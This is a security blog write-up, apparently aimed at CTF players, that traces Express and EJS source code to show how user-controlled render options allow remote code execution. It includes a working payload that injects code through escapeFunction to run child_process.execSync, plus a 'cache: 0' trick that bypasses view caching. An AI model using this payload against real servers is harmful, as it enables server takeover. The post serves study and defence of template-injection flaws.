EJS Vulnerabilities in CTF
2023-6-22 14:10:44 Author: blog.huli.tw(查看原文) 阅读量:44 收藏

Originally, I intended to write this article from a developer’s perspective. However, due to time constraints, I will first write a CTF-oriented article to record this issue. I will write from a developer’s perspective when I have more time.

In short, this article discusses the problems caused by using the following pattern:

const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/', (req,res) => {
    res.render('index', req.query);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Previous CTF challenges

There are two types of EJS-related challenges that have been created in CTFs. The first type is where you can control the second parameter of the render function, as shown above. The second type is where you cannot control the second parameter, but there is a prototype pollution vulnerability.

For the first type, I personally think that EJS’s handling of parameters is problematic. You may think that only data is passed in, but in fact, options and data are passed together. Therefore, you can modify options to control some execution processes and achieve RCE.

For the second type, the main idea is to pollute outputFunctionName through prototype pollution, and then rely on EJS’s underlying code to concatenate JS code to achieve RCE.

However, EJS has added checks for outputFunctionName to ensure that the input is a valid variable name.

This article mainly discusses the first type of situation.

Below are some related challenges that have appeared in the past. In the early days, prototype pollution was the main focus, but recently, more challenges are more about passing an object.

Root Cause

After calling res.render(), it will first go to express/lib/response.js:

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};

Then, let’s check app.render in express/lib/application.js:

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge app.locals
  merge(renderOptions, this.locals);

  // merge options._locals
  if (opts._locals) {
    merge(renderOptions, opts._locals);
  }

  // merge options
  merge(renderOptions, opts);

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

  // primed cache
  if (renderOptions.cache) {
    view = cache[name];
  }

  // view
  if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

    if (!view.path) {
      var dirs = Array.isArray(view.root) && view.root.length > 1
        ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
        : 'directory "' + view.root + '"'
      var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
      err.view = view;
      return done(err);
    }

    // prime the cache
    if (renderOptions.cache) {
      cache[name] = view;
    }
  }

  // render
  tryRender(view, renderOptions, done);
};

Finally, tryRender is called, and the code is in express/lib/application.js:

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

This view.render will call the __express method inside the view engine, and this method in EJS is renderFile:

ejs/lib/ejs.js:

/**
 * Express.js support.
 *
 * This is an alias for {@link module:ejs.renderFile}, in order to support
 * Express.js out-of-the-box.
 *
 * @func
 */

exports.__express = exports.renderFile;

renderFile:

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = utils.createNullProtoObjWherePossible();
  }

  return tryHandleCache(opts, data, cb);
};

The key point here is the middle part:

if (data.settings) {
  // Pull a few things from known locations
  if (data.settings.views) {
    opts.views = data.settings.views;
  }
  if (data.settings['view cache']) {
    opts.cache = true;
  }
  // Undocumented after Express 2, but still usable, esp. for
  // items that are unsafe to be passed along with data, like `root`
  viewOpts = data.settings['view options'];
  if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
  }
}

In short, setting data.settings['view options'] can override opts.

Next, follow down to handleCache:

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;

  if (options.cache) {
    if (!filename) {
      throw new Error('cache option requires a filename');
    }
    func = exports.cache.get(filename);
    if (func) {
      return func;
    }
    if (!hasTemplate) {
      template = fileLoader(filename).toString().replace(_BOM, '');
    }
  }
  else if (!hasTemplate) {
    // istanbul ignore if: should not happen at all
    if (!filename) {
      throw new Error('Internal EJS error: no file name or template '
                    + 'provided');
    }
    template = fileLoader(filename).toString().replace(_BOM, '');
  }
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

If options.cache is set, use the already compiled content in the cache, otherwise compile it again.

The most important part is compile, which has the following code:

if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}

It will use escapeFn to concatenate the code.

So we just need to pass in:

const payload = {
  settings: {
    'view options': {
      client: true,
      escapeFunction: '(() => {});return process.mainModule.require("child_process").execSync("id").toString()'
    }
  }
}

to execute any code and achieve RCE.

Cache Issue

Although the previous explanation was smooth, there is a cache issue.

Under production mode, view cache will be automatically enabled:

if (env === 'production') {
  this.enable('view cache');
}

And this parameter will be automatically passed to options when rendering:

// set .cache unless explicitly provided
if (renderOptions.cache == null) {
  renderOptions.cache = this.enabled('view cache');
}

Although we can override the original options through view options, if the original options already contain cache, it will be overridden again:

utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);

If we cannot override cache, then we cannot use the above method because the template will not be recompiled.

However, it doesn’t matter, fortunately this is JavaScript, pay attention to this line of code:

if (renderOptions.cache == null) {
  renderOptions.cache = this.enabled('view cache');
}

If renderOptions.cache is null, it will be set, and 0 == null is false, so we can pass in cache: 0 to bypass the check and make if (options.cache) false.

In fact, EJS has had many related issues since the past, the list is as follows:

The author’s stance has remained the same from the past to the present:

The problem here is that EJS is simply a way of executing JS to render a template. If you allow passing of arbitrary/unsanitized options and data to the render function, you will encounter all security problems that would occur as a result of arbitrary code execution. Henny Youngman used to tell a joke: “The patient says, ‘Doctor, it hurts when I do this.’ So the doctor says, ‘Then don’t do that!’” I’m open to PRs that improve security, but this looks to me to be far beyond the purview of the library. These responsibilities live squarely in userland.

Basically, if developers want to use the library in this way, the author cannot do anything about it. This is not the responsibility of EJS and end users should not be allowed to pass in the entire object.

Recently, EJS developers have also added a notice in the README and on the official website due to receiving many similar issue reports:

Security professionals, before reporting any security issues, please reference the SECURITY.md in this project, in particular, the following: “EJS is effectively a JavaScript runtime. Its entire job is to execute JavaScript. If you run the EJS render method without checking the inputs yourself, you are responsible for the results.”

So this trick can be used now and in the future. If someone can control the object during rendering, it means that RCE can be achieved.

Later, I want to write another article from the developer’s perspective. Although what the EJS author said makes sense, at least as a library, EJS should remind developers in the documentation not to use it in this way. Although there is already a prompt now, it is more targeted at asking security researchers not to report, rather than asking developers not to use it in this way.

Or maybe this is actually a bad coding practice. There should not have been such a pattern in the first place that allows others to exploit it.

I haven’t figured this out yet. I’ll write about it when I do.


文章来源: https://blog.huli.tw/2023/06/22/en/ejs-render-vulnerability-ctf/
如有侵权请联系:admin#unsafe.sh